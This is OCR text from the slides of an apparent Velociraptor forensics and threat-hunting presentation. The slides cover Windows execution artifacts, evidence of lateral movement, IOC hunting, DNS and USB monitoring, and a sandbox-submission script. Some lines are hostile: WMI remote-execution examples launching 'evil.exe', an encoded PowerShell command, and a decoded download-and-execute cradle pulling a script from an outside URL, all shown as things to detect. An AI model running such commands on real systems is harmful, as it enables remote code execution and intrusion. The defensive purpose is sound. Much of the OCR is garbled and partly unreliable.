http://www.forensicswiki.org/wiki/List of Jump_List IDs

n, based

Amcache.hve
Description
: amDataUpc ssociated with the A
S ry file Amcact

Location
Win7/8/10:
C:\Windows\AppCompat\Programs\Amcache. hve

Interpretation

+ Amcache hve - Keys = Amcache.hve\Root\File\Volume GUID)\¥ # ### ##

- Entry for every executable run, full path information, File's
SStandardInfo Last Modification Time, and Disk volume the
executable was run from

+ First Run Time = Last Modification Time of Key

- SHA1 hash of executable also contained in the key

System Resource Usage Monitor
(SRUM)

Description

Records 30 to 60 days of historical system performance.
Applications run, user account responsible for each, and
application and bytes sent/received per application per hour.

Location

SOFTWARE\Microsoft\WindowsNT\C: Vi \SRUM \Ext {d10ca2fe-6fct-
46d-848¢-b2e99266a89) = Application Resource Usage Provider C:\Windows\
System32\SRU\

Interpretation
Use tool such as srum dump.exe to cross correlate the data
between the registry keys and the SRUM ESE Database.

BAM/DAM

Description
Windows Background Activity Moderator (BAM)

Location

Win10:
SYSTEM\CurrentControlSet\Services\bam\UserSettings\{(SID}
SYSTEM\CurrentControlSet\Services\dam\UserSettings\{SID}

Investigative Notes

Provides full path of the executable file that was run on the
system and last execution date/time

e - e e MAanitor

Last-Visited MRU

Description
ble used by an application to
in the Ope MRU C
cks the directory location for the last file
that w. i by that application
Example: Notepad.exe was last run using the C:V%USERPROFILE%\
Desktop folcer

Location

XP:
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\
LastVisitedMRU

Win7/8/10:

NTUSER.DAT\Software\Microsoft Windows\CurrentVersion\Explorer\ComDig32\
LastVisitedPidIMRU

Interpretation

Tracks the application executables used to open files in
OpenSaveMRU and the last file path used

Prefetch

Description

- Increases performance of a system by pre-loading code
pages of commonly used applications. Cache Manager
monitors all files and directories referenced for each
application or process and maps them into a .pf file. Utilized
to know an application was executed on a system

+ Limited to 128 files on XP and Win7

» Limited to 1024 files on Win8

- (exename)-(hash).pf

Location

| WinXP/7/8/10:

C:\Windows\Prefetch

Interpretation

+ Each .pf will include last time of execution, number of times
run, and device and file handles used by the program

- Date/Time file by that name and path was first executed
- Creation Date of .pf file (-10 seconds)

- Date/Time file by that name and path was last executed
- Embedded last execution time of .pf file

- Last modification date of .pf file (-10 seconds)
- Win8-10 will contain last 8 times of execution




We have an artefact for that too

C A Notsecure | hips://localhost:8

New Artifact Collection - Select Artifacts to collect

Step 1 out of 2
execution

Windows.Analysis.EvidenceOfExecution

Windows.Attack.ParentProcess

Windows.Attack.Prefetch

Windows.Forensics.Bam

Windows.Forensics.Prefetch
DarantAnne

Selected Artifacts:

Use "Add"” button or double-click to add artifacts to the list.

Remove

ErT % B

SELEC FROM Artifact.Windows.Registry.UserAssist()

Precodition
Queries

CT * FROM Artifact.Windows.Forensics.Timeline()
Precodition

Queries

T % g

C FROM Artifact.Windows.Forensics.RecentApps()

Precodition

Queries

SELECT * FROM Artifact.Windows.Registery.AppCompatCache()

* artefacts build
2. upon each
i . other

UserAssist
Timeline
RecentApps
AppCompatCach

V)



/elociraptor | C.d504fae95fdb7{> X +
C A Not secure 5 39/app.html#/clients/C.d504fae95fdb7f3f/flows
9) Q Velocidex-01 @ connectec
+ o @& | ©
State Flowld Artifacts Collected
v  F.BKT2DRM5595VC Windows.Analysis.Evidence OfExecution
v  FBKSRSK7NRUS7S VFSListDirectory
v  FBKSRSJ34A45P6 VFSListDirectory

Artifact Collection Uploaded Files Requests Results Log Reports

Windows.Analysis.Evidence OfExecution

Windows.Analysis.EvidenceOfExecution/UserAssist

Creation Time

2019-07-25 22:02:22 UTC
2019-07-25 14:36:00 UTC
2019-07-25 14:35:56 UTC

Last Active Creator
2019-07-25 22:02:25 UTC nick
2019-07-25 14:36:00 UTC nick
2019-07-25 14:35:56 UTC nick

v

Show 10 v entries Search:
Name User LastExecution LastExecutionT$S NumeberOfExecutions
C:\Users\Nick\Downloads\SysinternalsSuite\PsExec.exe Nick 2019-07- 1564003441 1
’ 24721:24:01Z
C:\Users\Public\Desktop\Google Chrome.Ink Nick 2019-07- 1563872553 1
S esKiopia009 23709:02:33Z e
. 2019-07-

’ ¢ cANG12
Chrome Nick 25721-58-107 1564091890 17
. - . e Liaao N - 2019-07- . ‘
Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe!App Nick 1563872393 14

23T08:59:532

07-25 22



Lateral movement - WMI

Hunt Evil: Lateral Movement

puring incident response and threat hunting, it is critical to understand how attackers move around your network. Lateral moveme
move from system to system and accomplish their objectives. Every adver

ntisan inescapable requirement for attackers to stealthily
understanding lateral movement tools and techniques

sary, including the most skilled, will use some form of lateral movement technique described here during a breach.

rm incident response scoping, and petter anticipate future attacker activity.
the SANS DFIR courseé FOR508: Advanced Digital Forensics, Incident Response, and Threat Hunting

allows responders to hunt more efficiently, quickly perfo
Tools and techniques to hunt the artifacts described below are detailed in

Additional Event LO8S

Process-tracking events, Sysmon, and similar logging
capabilities are not listed here for the sake of brevity.
However, this type of enhanced logging can provide
significant visibility of an intruder’s lateral movement, given
that the logs are not overwritten or otherwise deleted.

Additional FileSystem Artifacts

Deep-dive analysis techniques such as file
carving, volume shadow analysis, and NTFS log
file analysis can be instrumental in recovering
many of these artifacts (including the recovery
of registry and event log files and records).

Additional References

SANS DFIR FOR508 course: http:/ Jsans.org/ FOR508
ATT&CK Lateral Movement: http:/ Iforsos.r.omlaltck-lm
JPCERT Lateral Movement: http:/ |for508.com/ jpcert-lm

Artifacts in Memory Analysis

Artifacts in memory analysis will allow for additional tracking of potential evidence of execution and command line
history. We recommend auditing and dumping the nconhost" processes on the various systems. Example:

vol.py -f memory . img ——proﬁle=<ptoﬁle> memdump -0 conhost --dump-dir=.
strings -t d -© 1 *.dmp >> conhost.uni

perform searches for executable keywords using grep. Also check running processes (mstsc, rdpclip, etc.).

REMOTE ACCESS

SOURCE

DESTINATION
REGISTRY

= Remote desktop destinations
are tracked per-user
'NTUSER\Softwaze\
Mic:oso!t\l‘emxnal
Sexrver client\Servers

FILE SYSTEM

m jumplists - C: \Users\<uaername>\
AppDaLa\Roaming\MiczosofL\Hindows\
Racant\l\utomaticﬁastinar.ions\

2 (MSTSC-)\PPID) .
automatlcnosunanons-ms

«Tracks remote desktop connection
destination and times

Remote Desktop

® security.evtx
« 4,648 - Logon specifying alternate
credentials - if NLA enabled on
destination
= Current logged-on User Name

= Alternate User Name mShimCache = SYSTEM

o lRo(rntApp%—NTUSE‘.R.DAT
- pestination Host Name/IP emstsc.exe Remote
= Process Name

pesktop Client

m UserAssist - NTUSER.DAT
«mstsc.exe Remote
Desktop Client execution
o Last Time Executed
« Number of Times Executed

REGISTRY

mShimCache - SYSTEM

FILE SYSTEM
u prefetch - C: \Windws\Ptefetch\
+ rdpclip.exe- {hash} .pf
* tstheme. exe-(hash) .pf

u Security Event Log ~
gecurity.evtx
« 4624 Logon Type 10
-5ource IPfLogon User Name
« 477816779
- |p Address of source/Source
System Name
- Logon User Name

lMicrosoft-Hindowa -Terminal
Se:vi.ces-llamor.cConnncLi.on
Managaz“MOpa:ational .evtx
* 1149
- Source IP/Logon User Name
. Blank user name may indicate
use of Sticky Keys

«rdpclip.exe

+ tstheme .exe
mAmCache.hve ~

First Time executed

«rdpclip.exe

« tstheme .exe

*mstsc.exe Remote
pesktop Client execution

«Last Time executed

« Number of Times executed

«Recentitems subkey tracks
connection destinations and
times

u prefetch - C: \Hindows\l’:efetch\
smstsc.exe- {hash} .pf

= Bitmap Cache - C: \USERS\<USERNAME>\
AppData\Local\Miczosoft\Teminal
Server client\Cache
«beacheftit.bnc
«cachefffi# .bin

lHicrosoft-Windous—
TszminnlSe:vices—
RDEClient® lopezncional .evtx
*1024
- Destination Host Name
+1102
- Destination IP Address

= BAM/DAM — SYSTEM ~ Last
Time Executed

emstsc.exe Rem ote
pesktop Client

lchrosott-bh.ndovs—Tenm.na].
Servi.oes—l.ocalsession
Manager%d()pezational .evtx

lMicxosoft-Hindous =
R.motnnosk\:opsazvices—
deCon'l‘SNop.n:ionu evtx °212% 25
«131 - Connection Attempts = Source |P/Logon User Name
ource IP/Logon User Name .41
*98 - successful Connections = Logon User Name

mAmCache .hve = First Time
Executed
emstsc.exe

Map Network Shares FILE SYSTEM
# security.evtx = MountPoints2 - Remotely mapped shares uprefetch - C: \Hindows\?zo!or_ch\ (net.exe) = Security Event Log - « 4768 - 1GT Granted ® File Creation
« 4648 - Logon specifying 'NTUSER\SO!waro\Mtcrosolt\Hmdous\ enet.exe-{hash} .pf 5 security.evtx - Source Host Name/Logon User « Attacker's files (malware) copied 10
alternate credentials Cur:ent.Vo:smn\E.xplozo:\MountPomtsz enetl.exe- {hash} pf to cs or Admlns « 4624 Logon Type 3 Name
- Current logged-on User Name wShellbags - USRCLASS . DAT
- Alternate User Name

- pestination Host Name/IP
- Process Name
lmcrosoft-windaws-
+adGecurity.evtx

er Profile Artifacts

«Remote folders accessed inside an interactive session via nd jumplists for
Explorer by attackers rem by attackers, if they
had interactive access (ROP)

mShimCache - SYSTEM
snet.exe
*netl.exe

- Source IPfLogon User Name
* 4672
- Logon User Name
- Logon by user with
administrative rights
- Requirement for accessing
default shares suchasc$

and ADMINS

« 4776 - NTLM if authenticating
to Local System

- Source Host Name/fLogon

destination system

« Look for Modified Time before
Creatio

« Creation Time is time of file copy

- Available only on domain controller
« 4769 - Service Ticket Granted if
authenticating to Domain Controller
- Destination Host Name/Logon User
Name
=Source IP
= Available only on domain controller
* 5140
- Share Access
* 5145
- Auditing of shared files - NOISY!



Lateral movement - WMI

On source computer

EVENT LOGS REGISTRY

B security.evtx ®m ShimCache - SYSTEM
* 4648 - Logon specifying alternate *wmic.exe

FILE SYSTEM WMI/WMIC

m Prefetch - C: \Windows\Prefetch\

*wmic.exe-{hash}.pf
credentials
= Current logged-on User Name

® BAM /DAM - SYSTEM - Last Time Executed
*wmic.exe

= Alternate User Name . .
= Destination Host Name/IP B AmCache. hve - First Time Executed
= Process Name *wmic.exe

wmic .exe wmiprvse .exe

wmic /node:host process call create "evil.exe"

Invoke-WmiMethod -Computer host -Class Win32 Process -Name create -Argument “c:\temp\evil.exe"

On destination computer

EVENT LOGS REGISTRY FILE SYSTEM

Esecurity.evtx EMicrosoft-Windows-WMI- ® ShimCache - SYSTEM
* 4624 Logon Type 3 Activity%40perational.evtx
=Source IP/Logon User Name  *5857
* 4672 = Indicates time of wmiprvse execution
5 and path to provider DLL - attackers .
togon gser — h somgtimes igstall malicious WMI B Y e
= Logon by an a user wit

mFile Creation
*wmiprvse.exe *evil.exe

*evil.exe *evil.mof - .mof files can be used
*mofcomp.exe to manage the WMI Repository

: First Time Executed *evil.exe-{hash}.pf

.. . provider DLLs

administrative rights «5860. 5861 « wmiprvse.exe *wmiprvse.exe-{hash}.pf

. N . -
- Registration of Temporary (5860) and o evil.exe mofcomp . exe-{hash} .pf

Permanent (5861) Event Consumers. » mofcomp.exe
Typically used for persistence, but
can be used for remote execution.

® Unauthorized changes to the
WMI Repository in C: \Windows\
System32\wbem\Repository




@ Velociraptor | C.d504fae95fdb7{> X --

“ee

< C A Not secure | hitps://localhost:8889/app.html#/clients/C.d504fae95fdb7f3f/flows g -

New Artifact Collection - Select Artifacts to collect

Step 1 outof 2
lateral Detect evidence of lateral movement.

Windows. Packs.LateralMovement

Precondition

Queries

SELECT * FROM Artifact.Windows.EventLogs.Alternatelogon()

Precondition
Selected Artifacts:

Use "Add" button or double-click to add artifacts to the list. Queries

SELECT * FROM Artifact.Windows.Forensics.Prefetch() WHERE Executable =~ "wmic.exe"

Precondition

Queries

SELECT * FROM Artifact.Windows.Registry.AppCompatCache() WHERE Name =~ "wmic.exe"

Remove

Draranditian




Scenario: Hunt for specific I0Cs
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& fireeye.com

{) FIREESYE

APT32

Also known as: OceanlLotus Group
Suspected attribution: Vietnam

Target sectors: Foreign companies investing in Vietnam’s
manufacturing, consumer products, consulting and hospitality sectors

Overview: Recent activity targeting private interests in Vietnam
suggests that APT32 poses a threat to companies doing business,
manufacturing or preparing to invest in the country. While the specific
motivation for this activity remains opaque, it could ultimately erode
the competitive advantage of targeted organizations.

Associated malware: SOUNDBITE, WINDSHIELD, PHOREAL, BEACON,
KOMPROGO

Attack vectors: APT32 actors leverage ActiveMime files that employ
social engineering methods to entice the victim into enabling macros.
Upon execution, the initialized file typically downloads multiple

L em L uar APT32 actors delivers the

Additional resources

Blog - Cyber Espionage is Alive
and Well: APT32 and the Threat
to Global Corporations

Webinar - APT32: New Cyber
Espionage Group




Matri Tactics ~
—Tae M'TRE / ATTSCK- atrices actics

P
e
—_—

GROUPS

A PT 3 Overview

admin@338
Also KNOW ) prl

Suspecter APT12

APT16
Target se

(e APT17
anufac

m APT18
Overvie
suggest
manufa

motival APT29

the cor APT3

APT19

Assod APT30

KOMP APT32
APT33

-~

] attack.mitre.org

Techniques ~ Groups
Resources ~ Blog &

Contribute

Home > Groups > APT30

€ associated with the Chinese
government. 1] While Naikon shares so

me characteristicg with APT30, the two
groups do not appear to be exact matc

ID: Goo13
hes. [2] Version: 1.0
Software
ID Name References Techniques
S0031

BACKSPACE  [1]

onnection Proxy, Data Obfus
Exfiltration Over Command
Registry, Multi

Y, Registry Run Keys /
Standard Application Layer Protocol, System
Information Discovery
S0036  FLASHFLOOD =[] Data Encrypted, Data from Local System, Data from Remova
and Directory Discovery Regi
S0034  NETEAGLE Y




Scenario: Hunt for shadow IT
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Hunting for Dropbox usage

a DESKTOP-6CBJSMJ @ connected B i

+ o @&

State Flowld Artifacts Collected Creation Time Last Active Creator

Windows.Applications.Chrome History
v  FBKEJAQUGNA20S Windows.Applications.Chrome.Extensions 2019-07-03 11:45:47 UTC 2019-07-03 11:45:56 UTC
Windows.Applications.Chrome.Cookies

v  F.BKE987AQPQP7S Windows.Applications.Chrome.Extensions 2019-07-03 11:40:13 UTC 2019-07-03 11:40:16 UTC

Artifact Collection Uploaded Files Requests Results Log

Windows.Applications.Chrome.History

Windows.Applications.Chrome.History

Show 10 ~ entries Search: drop

User FullPath visited_url

\C:\Users\test\AppData\Local\Google\Chrome\User  2019-07-

Data\Default\History 03T11-44-357 hitps://chrome.google.com/webstore/search/dropbox

https://lwww.google com/search?
g=dropbox&rz=1C1CHBF_enAU843AU8438&0q=dropbox&ags=chrome..69i57j015.1871j0j7 &sourceid=chrome&ie=L
2

o

\C:\Users'\test\AppData\Local\Google\Chrome\User  2019-07-
Data\Default\History 03T11:44:35Z

\C:\Users\test\AppData\Local\Google\Chrome\User  2019-07-

Data\Default\History 03T11:44:357  Mttps-/www.dropbox.com/

\C:\Users\test\AppData\Local\Google\Chrome\User  2019-07-

Data\Default\History 03T11:44:357  Mps:/www.dropbox.com/individual




DESKTOP-6CBJ8MJ @ connected

?‘Bj . , a

+ @ @& 4

State Flowld Artifacts Collected Creation Time Last Active Creator

Windows.Applications.Chrome.History
Windows.Applications.Chrome.Extensions
Windows.Applications.Chrome.Cookies

v  FBKE9AQUGNA20S 2019-07-03 11:45:47 UTC 2019-07-03 11:45:56 UTC

v FBKE987AQPQP7S Windows.Applications.Chrome.Extensions 2019-07-03 11:40:13 UTC 2019-07-03 11:40:16 UTC

Artifact Collection Uploaded Files Requests Results Log

Windows.Applications.Chrome.Cookies

Windows.Applications.Chrome.Cookies

\C:\Users\test\AppData\Local\Google\Chrome\User

Show 10 - entries

Created

LastAccess

Expires

host_key path value

Search: dropbox

EncryptedValue

2019-07-
03T11:41:36Z

2019-07-
03T11:41:36Z

2019-07-
03T11:41:37Z

2019-07-
03T11:41:427

Data\Default\History

2019-07-
03T11:44:487

2019-07-
03T11:44:41Z

2019-07-
03T11:45:03Z

2019-07-
03T11:44:597

2024-07-
01T11:41:36Z

2024-07-
01T11:41:36Z

2020-07-
02T11:41:38Z

2019-10-

01T11:41:42Z
2019-07-
03T11:44:35Z

www.dropbox.com  gvc

.dropbox.com locale

dropboxstaticcom __ cfduid

.dropbox.com _gcl_au

https://lwww.dropbox.com/individual

AQAAANCMnd8BFdAERjHoAWE/Cl+sBAAAA3LhKs5AJj0+0gz+10qqOQAAAAACAAAA

AQAAANCMnd8BFdAERjHoAWE/Cl+sBAAAA3LhKs5AJj0+0gz+10qqOQAAAAACAAAA

AQAAANCMnd8BFdAERjHoAWE/Cl+sBAAAA3LhKs5AJj0+0gz+10qqOQAAAAACAAAA

AQAAANCMnd8BFdAERjHoAWE/Cl+sBAAAA3LhKs5AJj0+0gz+10qqOQAAAAACAAAA




Q DESKTOP-6CBJ8MJ @ connected mic

+ @ @& &

State Flowld Artifacts Collected Creation Time Last Active Creator

v  F.BKE9K6HVQHR34 Windows.Sys.Programs 2019-07-03 12:05:46 UTC 2019-07-03 12:05:48 UTC mic

Artifact Collection Uploaded Files Requests Results

Windows.Sys.Programs

Windows.Sys.Programs

Show 10 v entries Search: dropbox

Name MTime DisplayName DisplayVersion InstallLocation InstallSource Language Publisher UninstallString

"C:\Program Files
(x86)\Dropbox\Client\Dropb
/InstallType:MACHINE

2019-07- ‘ C:\Program Files Dropbox,
Dropbox 03T11:46207  DroPbox 154141 (x86)\Dropbox\Client Inc.

{099218A5-
A723-43DC- 2019-07- Dropbox Update 13.189 1 C:\Program Files Dropbox, MsiExec.exe /1{099218A5-4
8DB5- 03T11:43:28Z Helper e (x86)\Dropbox\Update\1.3.189.1\ Inc. 6173656A1E94}

6173656A1E94}

Showing 1 to 2 of 2 entries (filtered from 57 total entries) Previous

2019-07- 2019-07- 2019-10-
03T11:41:42Z 03T11:44:59Z 01T11:41:42Z
\C:\Users\test\AppData\Local\Google\Chrome\User  2019-07-
Data\Default\History 03T11:44:35Z

.dropbox.com _gclau / AQAAANCMnd8BFdAERjHoAWE/Cl+sBAAAA3LhKs5AJj0+0gz+10qqOQAAAAACAAAA

https://lwww.dropbox.com/individual




Turn hunting into montitoring




Event artifacts are never-ending VQL
quertes that watch for events on clients
and stream those events to the server
when they occur

© Velocidex Enterprises 2019 /



Scenario: Montitor DNS on the endpoints

© Velocidex Enterprises 2019 / www.velocidex.com



Monttor DNS on the endpoints

 DNS is an excellent network indicator &
» But many organisations still don’t log DNS ®

* Logging on internal DNS or network gateway is
limited @

» Velociraptor can monitor DNS at the endpoint @

© Velocidex Enterprises 2019 / www.velocidex.com



&

Q DESKTOP-6CBJ8MJ @ connected mic

>
F

& (@ & windows Events DNSQueries ~ 2019-07-02 =3 e

DNS Questions for DESKTOP-6CBJ8MJ

The 1000 most common DNS Queries on this day are listed in the below table. Typically we are looking for two interesting anomalies:
1. Sorting by count for the most frequently called domains. If you do not recognize these it may be possible that a malware is frequently calling out to its C&C.

2. Examining some of the least commonly used DNS names might indicate DNS exfiltration.

Show 10 ~ entries Search:
Total Name

2 assets.msn.com.

2 ocsp.pki.goog.

2 img-s-msn-com.akamaized.net.

2 about.google

2 secure-au.imrworldwide.com.
2 www.google.com.

1 googleads.g.doubleclick.net.

1 adservice.google.com.

1 www.google.com.au.

1 sam.msn.com.

Showing 1 to 10 of 30 entries Previous 1 2 3 Next




Scenario: Monttoring USB devices
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Monttoring USB devices

 USB drives are a constant threat:
 Can introduce malware
 Commonly used to exfiltrate confidential documents

* Forensic analysis of USB usage has blind spots

 Velociraptor provides artefacts that can watch for
USB drive insertion and take various actions

© Velocidex Enterprises 2019 / www.velocidex.com



x +
hitps://localhost:8889/app.htm

Q Velocidex-01

thumbdrives
Windows.Detection. Thumbdrives. List
Windows.Detection. Thumbdrives. OfficeKeywords

Nindows Detection. Thumbdrives. OfficeMacros

Windows.Detection.Thumbdrives.List

Type-Ciient_event

Users inserting Thumb drives or other Removable drive pose a constant security risk. The external drive may
contain malware or other undesirable content. Additionally thumb drives are an easy way for users to exfilirate
documents.

This artifact watches for any removable drives and provides a complete file listing to the server for any new drive
inserted. It also provides information about any addition to the thumb drive (e.g. a new file copied onto the drive)

We exclude very large removable drives since they might have too many files.

Parameters

Name Default

maxDriveSize

Source

1
2
3
4
5
/

LET removable_disks = SELECT Name AS Drive,
atoi(string=Data.Size) AS Size

FROM glob(globs="/*", accessor=

WHERE Data.Description =~ "Re
Size < atoi(string=maxDrive

LET file_listing = SELECT FullPath,
timestamp(epoch=Mtime.Sec) As Modified,
Size

FROM glob(globs=Drive+"\\**"

LIMIT 1298

SELECT * FROM diff(

0 o

[
- e



thumbdrives
Windows.Det:
Nindows.Det

Windows.Det

L
A Not secure #ps://localhost:8889/app.htm

Q Velocidex-01

S O

thumbdrives
Windows.Detection. Thumbdrives. List
Windows.Detection. Thumbdrives. OfficeKeywords

Windows.Detection. Thumbdrives. OfficeMacros

Windows.Detection.Thumbdrives.OfficeKeywords

Type. client_event

Users inserting Thumb drives or other Removable drive pose a constant security risk. The external drive may
contain malware or other undesirable content. Additionally thumb drives are an easy way for users to exfiltrate
documents.

This artifact automatically scans any office files copied to a removable drive for keywords. This could be useful to
detect exfiltration attempts of restricted documents.

We exclude very large removable drives since they might have too many files

Parameters

Name Default

officeExtensions \.(x1s|x1sm|doc|docx|ppt|pptm)$

rule Hit
strings:
$a = "this is my secret" wide nocase
= $b = "this is my secret" nocase
yararule
condition:
any of them

Source

11 SELECT * FROM diff(



thumbdrives

Windows.Det:
Windows.Det

Nindows. Det

o

thumbdrives

Windows.Det
Windows.Det

Windows.Det

+
hitps//localhost:8889/app.htm

Velocidex-01

Q

o

thumbdrives
Windows.Detection. Thumbdrives. List
Windows.Detection. Thumbdrives. OfficeKeywords

Windows.Detection. Thumbdrives. OfficeMacros

Windows.Detection.Thumbdrives.OfficeMacros

Type: client_event

Users inserting Thumb drives or other Removable drive pose a constant security risk. The external drive may
contain malware or other undesirable content. Additionally thumb drives are an easy way for users to exfiltrate
documents.

This artifact watches for any removable drives and scans any added office documents for VBA macros.

We exclude very large removable drives since they might have too many files

Parameters

Name Default

officeExtensions \.(x1s|x1sm|doc|docx|ppt|pptm)$

Source

1
2
3
4
5
7

SELECT * FROM foreach(
row = {
SELECT * FROM Artifact.Windows.Detection.Thumbdrives.List()
WHERE FullPath =~ officeExtensions
s
query = {
SELECT * from olevba(file=FullPath)

5/

=
® WO o

11 SELECT * FROM diff(




Secrver event artefacts
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Secrver event artifacts are similar to
the client event actifacts, except
they cun on the secver

© Velocidex Enterprises 2019 /



Scenario: Monitocring for encoded PowerShell
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Monttor for encoded PowerShell

* PowerShell encoded commands are easy to decode
individually, but harder at scale

* By default, Velociraptor watches all endpoint process
execution and sends logs to the server

* When the server sees PowerShell, it can check for
encoded commands and decodes them automatically

© Velocidex Enterprises 2019 / www.velocidex.com w



-

hips://localhost:8889/app.html#/clients/C

Q Velocidex-01 @ conn

& & Windows.Events.ProcessCreation ~ 2019-07-26

Windows.Events.ProcessCreation

Show 10 v entries Search: encoded

Timestamp PID Name CommandLine

1564101547 201907 7972 wershell exe
204710 [ 26T00:47-457 0 191 powershell.exe

powershell -nop -noni -encodedcommand
SQBFAFgAIAA0AE4AZQB3ACOATWBIAGoAZQBJAHQAIABTAHKAcWBOAGUAbBQAUAE4AZQBOACAAVWBIAGIAQwBsAGKA

Showing 1 to 1 of 1 entries (filtered from 17 total entries) Previous Next




-

localhost:8889/app.html#/clients/C

Q Velocidex-01 @ conn

& Windows.Events.ProcessCreation ~ 2019-07-26

Windows.Events.ProcessCreation

Show 10 v entries Search: encoded

Time]

-Non -nont -ancodacdcommana
015, nop -noni -encodedcommand

26T00 oD A AAAN E.i AT E AACNA T GBRIACAATO E| A H IAIAD
26700 s N ARUMA ALUIDOAL U AlITWDIAGOALUIDIA |-_.| MM

-

1564101547

Showing 1to 1 of 1 en




C A Not secure | hitps://localhost:8889/app.html#/clients/C.d504fae95fdb7f3f/client_events
ko iraptor | rer Events X +

C A Not secure | htps://localhost:8889/app.html#/server_events

Add server monitoring.

powershell It is possible to pass powershell an encoded script. This artifact
decodes the scripts.

Server.Powershell EncodedCommand
NOTE: The client must be running the Windows.Events.ProcessCreation

event artifact to retrieve process execution logs.

Precondition

Queries

Selected Artifacts: SELECT ClientId, ParentInfo, CommandLine, Timestamp, utfl1é(
string=base64decode(
Server.Monitor.Health string=parse_string_with_regex(
string=CommandLine,
regex="- i)(en|enc|encode|encodedCommand)) (?P<Encoded
) .Encoded)) AS Script
FROM watch_monitoring(artifact="Windows.Events.ProcessCreation”)
WHERE CommandLine =~ '-encodedcor

Remove

Save Server Monitoring Artifacts




x +
C A Not secure | hitps://localhost:8889/app.html#/clients/C.d504fae95fdb7f3f/client_events

9 Search Velociraptor | Server Events X +

™

< C A Notsecure | hitps://localhost:8889/app.html#/server_events

Add server monitoring.

powershell It is possible to pass powershell an encoded script. This artifact
decodes the scripts.
Server.Powershell. EncodedCommand

Velociraptor | Server Events X B

C A Not secure | hitps://localhost:8889/app.htmli#/server_events
9)

(.

Search Box Q Velocidex-01 @@ connected

(& & ServerPowershell EncodedCommand ~ 2019-07-26 ™

Encoded Powershell

It is possible to pass powershell an encoded script. This artifact decodes the scripts.

NOTE: The client must be running the Windows.Events ProcessCreation event artifact to retrieve process execution logs.

Decoded Powershell commands.

Show 10 ¥ entries Search:

Clientld FQDN Script

C.d504fae95fdb7{3f Velocidex-01 I IEX (New-Object System.Net.WebClient).downloadstring("http://squirreldirectory.com/a’) I

Showing 1 to 1 of 1 entries Previous } 1 } Next




Velociraptor | C.d504fae95fdb7f- X +
C A Notsecure | hitps;//localhost:8889/app.html#/clients/C.d504fae95fdb7f3f/client_events

Y

Q Search

¥ Velociraptor | Server Events X +

< C A Notsecure | hitps://localhost:8889/app.html#/server_events

Add server monitoring.

powershell It is possible to pass powershell an encoded script. This artifact
decodes the scripts.
Server. Powershell EncodedCommand

Velociraptor | Server Events X --

C A Not secure | hitps://localhost:8889/app.htmli#/server_events
9)

(.

Search Box Q Velocidex-01 @@ connected

(& & ServerPowershell EncodedCommand ~ 2019-07-26 ™

Encoded Powershell
It is possible to pass powershell an encoded script. This artifact decodes the scripts.

NOTE: The client must be running the Windows.Events ProcessCreation event artifact to retrieve process execution logs.

Decoded Powershell commands.

Show 10 ¥ entries Search:

IEX (New-Object System.Net.\WebClient).downloadstring( http://squirreldirectory.com/a’)




lntroduce automation through the API




Scenario: Monttor for service creation and
automatically sandbox the executable
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upload
Admin.Events.PostProcessUploads
Admin.System.CompressUploads
Linux.Applications.Chrome.Extensions.Upload
Server.Analysis.Triage.PowershellConsole
Triage.Collection.Upload
Triage.Collection.UploadTable
Windows.Detection.ProcessMemory
Windows.Detection.Service.Upload
Windows.Registry.NTUser.Upload

Windows.System.Amcache

Windows.Detection.Service.Upload

Type: client_event
When a new service is installed, upload the service binary to the server

Source

1 SELECT ServiceName, upload(file=ImagePath) as Upload,
2 Timestamp, EventData, System

3 FROM Artifact.Windows.Events.ServiceCreation()

4

5




def submit_file(filename):
joe = jbxapi.JoeSandbox(apikey=KEY, accept_tac=True)
with open(filename, "rb") as f:
return (joe.submit_sample(f))

def run(config):
creds = grpc.ssl_channel_credentials(
root_certificates=config["ca_certificate"].encode("utfg8"),
private_key=config["client private key"].encode("utfg"),
certificate_chain=config["client_cert"].encode("utfg8"))
options = (('grpc.ssl target name override', "VelociraptorServer",),)

with grpc.secure_channel(config["ap1i_connection_string"],
creds, options) as channel:
stub = ap1_pb2 grpc.APIStub(channel)
request = api_pb2.vQLCollectorArgs(
Query=[ap1i_pb2.VQLRequest |
VQL="""SELECT ClientId, Timestamp, UploafilName,
file store(path=VFSPath) AS Path
FROM watch monitoring(artifact='System.Upload.Completion')""",

) 1)

for response in stub.Query(request):
for row 1n json.loads(response.Response):
for path in row["Path"]:

result = submit_file(path)
print("%s: Submited %s for %s (%s)" % (
row["Timestamp"],

row["ClientId"],
row["UploadName"],

result["submission_1d"])) binary to the server

Server.Analysis.Triage.PowershellConsole

, _ Source
Triage.Collection.Upload
1 SELECT ServiceName, upload(file=ImagePath) as Upload,
2 Timestamp, EventData, System
Windows.Detection.ProcessMemory 3 FROM Artifact.Windows.Events.ServiceCreation()

. . , 4
Windows.Detection.Service.Upload 5

Triage.Collection.UploadTable

Windows.Registry.NTUser.Upload

Windows.System.Amcache



def submit_file(filename):

e n e ey e accerrtatrel - Eynction to submit file to online sandbox

return (joe.submit_sample(f))

def run(config):
creds = grpc.ssl_channel_credentials(
root_certificates=config["ca certificate"].encode("utfg8"),
private_key=config[“"client private key"].encode("utfg8"),
certificate_chain=config["client_cert"].encode("utfs"))
options = (('grpc.ssl_target_name_override', "VelociraptorServer",),)

with grpc.secure_channel(config["api_connection_string"],
creds, options) as channel:

stub = api_pb2_grpc.APIStub(channel)
request = api_pb2.vQLCollectorArgs(

Query=[ap1i_pb2.VQLRequest

VQL="""SELECT ClientId, Timestamp, UploafiName,
file store(path=VESPath) AS Path
FROM watch_monitoring(artifact='System.Upload.Completion')""",
)1)

for response in stub.Query(request):
for row 1n json.loads(response.Response):
for path in row["Path"]:
result = submit_file(path)
print("%s: Submited %s for %s (%s)" % (
row["Timestamp"],
row["ClientId"],

row["UploadName"],
result["submission_1d"]))



def submit_file(filename):

o e gprieyer acere e Eynction to submit file to online sandbox

return (joe.submit_sample(f))

def run(config):
creds = grpc.ssl_channel credentials(
root_certificates=config["ca certificate"].encode("utfg"), .
private_key=config["client private key"].encode("utfg8"), Con neCt to velOC] raptor API
certificate_chain=config["client _cert"].encode("utf8"))
options = (('grpc.ssl_target name _override', "VelociraptorServer",),)

with grpc.secure_channel(config["api_connection_string"],
creds, options) as channel:

stub = api_pb2_grpc.APIStub(channel)
request = apl_pb2.vQLCollectorArgs(

Query=[ap1i_pb2.VQLRequest

VQL="""SELECT ClientId, Timestamp, UploafiName,
file_store(path=VESPath) AS Path
FROM watch_monitoring(artifact='System.Upload.Completion')""",
)1)

for response 1in stub.Query(request):
for row 1n json.loads(response.Response):
for path 1n row["Path"]:
result = submit_file(path)
